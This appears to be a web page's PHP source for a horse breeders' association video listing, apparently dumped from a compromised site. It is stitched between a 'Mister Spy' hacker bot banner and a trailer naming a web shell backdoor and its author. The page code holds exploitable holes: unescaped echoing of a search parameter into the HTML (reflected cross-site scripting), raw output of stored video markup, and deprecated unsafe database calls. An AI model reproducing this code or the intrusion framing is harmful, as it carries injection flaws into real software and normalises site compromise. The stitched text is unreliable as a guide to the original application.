Mister Spy Say ="Hello Kids ... :D"
___ ____ _ _____
| \/ (_) | | / ___|
| . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _
| |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | |
| | | | \__ \ || __/ | /\__/ / |_) | |_| |
\_| |_/_|___/\__\___|_| \____/| .__/ \__, |
| | __/ |
|_| |___/
Bot Mister Spy V3
Mister Spy
Mister Spy
<?php
header('Location: ../sitio/');
exit;
if ($_REQUEST['rubroID'] != 3) {
header('Location: ../sitio/');
exit;
}
require_once('../Connections/cnx.php');
require_once('../funcs.php');
require_once('inc_library.php');
$Page = (isset($_REQUEST['Page'])) ? intval($_REQUEST['Page']) : 0;
$oVideos = new Videos();
$oPage = new Page($Page);
$oPage->Size = 20;
$filter = array();
$filter['titulo'] = $_GET['titulo'];
/* FIXME::SOLUCION TEMPORAL PARA EL PAGINADOR */
if ($Page > $oVideos->GetPagesCount($oPage, $filter))
{
$Page = $oVideos->GetPagesCount($oPage, $filter);
}
/* ***************************************** */
$oPage = new Page($Page);
$oPage->Size = 20;
$arrVideos = $oVideos->GetAll($filter, $oPage);
$CountRows = $oVideos->GetCountRows($filter);
$Paginado = Pageable::PrintPaginator($oPage, $oVideos->GetPagesCount($oPage, $filter), $CountRows);
$currentPage = $_SERVER["PHP_SELF"];
$qry_string = "vacio=si";
if(isset($_SERVER['QUERY_STRING']))
$qry_string = $_SERVER['QUERY_STRING'];
$maxRows_rsVideos = 5;
$pageNum_rsVideos = 0;
if (isset($_GET['pageNum_rsVideos'])) {
$pageNum_rsVideos = $_GET['pageNum_rsVideos'];
}
$startRow_rsVideos = $pageNum_rsVideos * $maxRows_rsVideos;
mysql_select_db($database_cnx, $cnx);
$query_rsVideos = "SELECT * FROM videos ORDER BY orden DESC";
$query_limit_rsVideos = sprintf("%s LIMIT %d, %d", $query_rsVideos, $startRow_rsVideos, $maxRows_rsVideos);
$rsVideos = mysql_query($query_limit_rsVideos, $cnx) or die(mysql_error());
$row_rsVideos = mysql_fetch_assoc($rsVideos);
if (isset($_GET['totalRows_rsVideos'])) {
$totalRows_rsVideos = $_GET['totalRows_rsVideos'];
} else {
$all_rsVideos = mysql_query($query_rsVideos);
$totalRows_rsVideos = mysql_num_rows($all_rsVideos);
}
$totalPages_rsVideos = ceil($totalRows_rsVideos/$maxRows_rsVideos)-1;
$queryString_rsVideos = "";
if (!empty($_SERVER['QUERY_STRING'])) {
$params = explode("&", $_SERVER['QUERY_STRING']);
$newParams = array();
foreach ($params as $param) {
if (stristr($param, "pageNum_rsVideos") == false &&
stristr($param, "totalRows_rsVideos") == false) {
array_push($newParams, $param);
}
}
if (count($newParams) != 0) {
$queryString_rsVideos = "&" . htmlentities(implode("&", $newParams));
}
}
$queryString_rsVideos = sprintf("&totalRows_rsVideos=%d%s", $totalRows_rsVideos, $queryString_rsVideos);
?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- InstanceBegin template="/Templates/base_espanol.dwt.php" codeOutsideHTMLIsLocked="false" -->
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<!-- InstanceBeginEditable name="doctitle" -->
<title>Asociación Criadores de Caballos Criollos</title>
<!-- InstanceEndEditable -->
<!-- InstanceBeginEditable name="head" --><!-- InstanceEndEditable -->
<link href="../css/basico_frontend.css" rel="stylesheet" type="text/css" />
<style type="text/css">
<!--
#Institucional {
position:absolute;
width:119px;
height:33;
z-index:1;
left: 456px;
top: 324px;
visibility: visible;
}
#SubInstitucional {
position:absolute;
width:127;
height:2px;
z-index:1;
top: 39px;
left: -17px;
}
#Formulario {
position:absolute;
width:124;
height:33;
z-index:2;
visibility: visible;
}
#SubFormulario {
position:absolute;
width:129;
height:11px;
z-index:1;
top: 22px;
left: 31px;
visibility: hidden;
}
#Ranking {
position:absolute;
width:168px;
height:34px;
z-index:2;
visibility: visible;
}
#Subranking {
position:absolute;
width:129;
height:115px;
z-index:1;
top: 23px;
left: -6px;
visibility: hidden;
}
#Clasificatoria {
position:absolute;
width:114px;
height:34px;
z-index:3;
visibility: visible;
}
#SubClasificatoria {
position:absolute;
width:118px;
height:115px;
z-index:4;
left: 16px;
top: 23px;
visibility: hidden;
}
#Premios {
position:absolute;
width:79px;
height:32px;
z-index:4;
visibility: visible;
}
#SubPremios {
position:absolute;
width:80px;
height:22px;
z-index:5;
top: 23px;
visibility: hidden;
left: 13px;
}
#Institucional {
position:absolute;
width:236px;
height:24px;
z-index:5;
}
#Institucional {
position:absolute;
width:200px;
height:115px;
z-index:5;
}
#Institucional {
position:absolute;
width:200px;
height:115px;
z-index:5;
}
#institucional {
position:absolute;
width:178;
height:19;
z-index:9;
visibility: visible;
}
#subinstitucional {
position:absolute;
width:130px;
height:115px;
z-index:1;
visibility: hidden;
top: 0px;
left: 150px;
}
#reglamentos {
position:absolute;
width:178;
height:20;
z-index:6;
visibility: visible;
}
#subregalmentos {
position:absolute;
width:129px;
height:115px;
z-index:7;
left: 150px;
top: 0;
visibility: hidden;
}
#Galeria {
position:absolute;
width:237;
height:19;
z-index:8;
visibility: visible;
}
#subGaleria {
position:absolute;
width:129;
height:51px;
z-index:1;
left: 170;
visibility: visible;
top: 0;
}
#galeria {
position:absolute;
width:237;
height:19;
z-index:8;
visibility: visible;
}
#subgaleria {
position:absolute;
width:129;
height:69;
z-index:1;
}
#Layer1 {
position:absolute;
width:200px;
height:115px;
z-index:7;
}
#galeria {
position:absolute;
width:178;
height:19;
z-index:8;
}
#subgaleria {
position:absolute;
width:131px;
height:60;
z-index:1;
visibility: hidden;
left: 150px;
top: 0px;
}
-->
</style>
<script type="text/JavaScript">
<!--
function MM_findObj(n, d) { //v4.01
var p,i,x; if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
if(!x && d.getElementById) x=d.getElementById(n); return x;
}
function MM_showHideLayers() { //v6.0
var i,p,v,obj,args=MM_showHideLayers.arguments;
for (i=0; i<(args.length-2); i+=3) if ((obj=MM_findObj(args[i]))!=null) { v=args[i+2];
if (obj.style) { obj=obj.style; v=(v=='show')?'visible':(v=='hide')?'hidden':v; }
obj.visibility=v; }
}
//-->
function SetPage(Page)
{
var frmData = Get('form1');
if (frmData == undefined)
return false;
frmData.Page.value = Page;
frmData.submit();
}
</script>
<!-- Global site tag (gtag.js) - Google Analytics -->
<script async src="https://www.googletagmanager.com/gtag/js?id=UA-112666274-1"></script>
<script>
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'UA-112666274-1');
</script>
</head>
<body>
<div align="center"><?php include("ssi_cabezal.php"); ?></div>
<table width="942" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<td width="20" class="FondoBlanco"><div align="center"></div></td>
<td><div align="center"><!-- InstanceBeginEditable name="Flash" --><!-- InstanceEndEditable --></div></td>
<td width="20" class="FondoBlanco"><div align="center"></div></td>
</tr>
</table>
<?php include("ssi_botonera_nueva.php"); ?>
<table width="942" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<td width="20" height="20" class="FondoBlanco"> </td>
<td height="20" class="FondoBlanco"> </td>
<td width="20" height="20" class="FondoBlanco"> </td>
</tr>
<tr>
<td width="20" class="FondoBlanco"> </td>
<td class="FondoBlanco"><table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<td valign="top"><!-- InstanceBeginEditable name="Contenido" -->
<table width="100%" border="0" cellpadding="0" cellspacing="0">
<tr>
<td background="images/accc_fondo_botonera.png">
<table width="100%" height="20" border="0" cellpadding="0" cellspacing="0">
<tr>
<td width="10" height="31" valign="middle"> </td>
<td height="31" valign="middle" class="TituloPrincipal">VIDEOS </td>
<td height="31" valign="middle"><div align="right"><a href="javascript:history.back();" class="linkBlanco">[volver]</a></div></td>
<td width="10" height="31" valign="top" class="TituloPrincipal"><div align="right"></div></td>
</tr>
</table>
</td>
</tr>
<tr>
<td> </td>
</tr>
<tr>
<td>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td>
<form id="form1" name="form1" method="get" action="videos.php">
<input type="hidden" id="Page" name="Page" value="<?= $Page ?>" />
<table width="100%" border="0" align="center" cellpadding="0" cellspacing="0" class="bordeGrisFondo" id="TablaBuscador">
<tr>
<td> </td>
<td width="280" valign="middle"> </td>
</tr>
<tr>
<td>
<table width="100%" border="0"cellpadding="0" cellspacing="0">
<tr>
<td width="10" height="20" valign="middle"> </td>
<td height="20" width="250" valign="middle"><span class="tituloMenu"><strong>Buscador - Titulo:</strong></span></td>
<td width="180" height="20" valign="middle"> </td>
</tr>
<tr>
<td width="10" height="0" valign="middle"> </td>
<td height="0" valign="middle"><div align="left">
<input name="titulo" id="titulo" class="camposFormularioSimple1" value="<?= $_GET['titulo'] ?>" />
</div>
</td>
<td height="0" valign="middle">
<div align="left">
<input name="Submit" type="submit" class="botonBasico" value="Buscar" style="width: 80px" />
<input name="Submit2" type="button" class="botonBasico" value="Limpiar" style="width: 80px" onclick="javascript:window.location.href='videos.php';" />
</div>
</td>
<td width="20" height="0" valign="middle"> </td>
</tr>
</table>
</td>
<td width="280" valign="middle">
</td>
</tr>
<tr>
<td> </td>
<td width="280" valign="middle"> </td>
</tr>
</table>
</form>
</td>
</tr>
</table>
</td>
</tr>
<tr>
<td> </td>
</tr>
<?php if ($arrVideos){ ?>
<tr>
<td> </td>
</tr>
<tr>
<td>
<div align="right"><? print ($Paginado) ?></div>
<br />
<br />
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<?php $Columnas = 0; ?>
<?php $Count = 1; ?>
<?php foreach ($arrVideos as $oVideo){ ?>
<?php if ($Columnas == 0){ ?>
<tr valign="middle">
<?php } ?>
<td valign="top" <?php if ($Columnas < 2) { ?> <?php } ?> >
<?php $Columnas++; ?>
<table border="0" align="center" cellpadding="0" cellspacing="0">
<tr valign="top">
<td>
<table align="center" cellpadding="0" cellspacing="0" width="100%">
<tr>
<td><div style="width: 325px; margin: 0 auto"><strong><?= CambiarFecha($oVideo->FechaCarga) ?></strong></div></td>
</tr>
<tr>
<td><div style="width: 325px; margin: 0 auto" class="tituloNoticia"><strong class="tituloNoticia"><?= $oVideo->Titulo ?></strong></div></td>
</tr>
<tr>
<td height="10"> </td>
</tr>
<tr>
<?php
$video = $oVideo->video;
$video = preg_replace('/(width)=("[^"]*")/i', 'width="325"', $video);
$video = preg_replace('/(height)=("[^"]*")/i', 'height="250"', $video);
?>
<td><div align="center"><a href="javascript: void(0);"><?=$video;?></a></div></td>
</tr>
</table>
</td>
</tr>
</table>
<?php if ($Columnas == 2){ // ACA SE PUEDEN AGREGAR MAS COLUMNAS?>
</td>
</tr>
<tr height="40">
<td> </td>
</tr>
<?php $Columnas = 0; ?>
<?php } ?>
<?php } ?>
<tr height="1">
<td colspan="3" height="20"><div align="center">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td height="1" background="images/linea_punteada.jpg"><div align="center"></div></td>
</tr>
</table>
</div></td>
</tr>
</table>
<br />
<div align="right"><? print ($Paginado) ?></div>
</td>
</tr>
<?php } ?>
</table>
<!-- InstanceEndEditable --></td>
<td width="20" valign="top"> </td>
<td width="130" valign="top" class="fondoGris1"><table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<td valign="top"><div align="center">
<?php include("ssi_cabanias.php"); ?>
</div></td>
</tr>
<tr>
<td valign="top"> </td>
</tr>
</table></td>
</tr>
</table></td>
<td width="20" class="FondoBlanco"> </td>
</tr>
<tr>
<td width="20" class="FondoBlanco"> </td>
<td class="FondoBlanco"> </td>
<td width="20" class="FondoBlanco"> </td>
</tr>
</table>
<?php include("ssi_pie.php"); ?>
<script type="text/javascript">
var _gaq = _gaq || [];
_gaq.push(['_setAccount', 'UA-25020972-2']);
_gaq.push(['_trackPageview']);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
</script>
</body>
<!-- InstanceEnd --></html>
Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat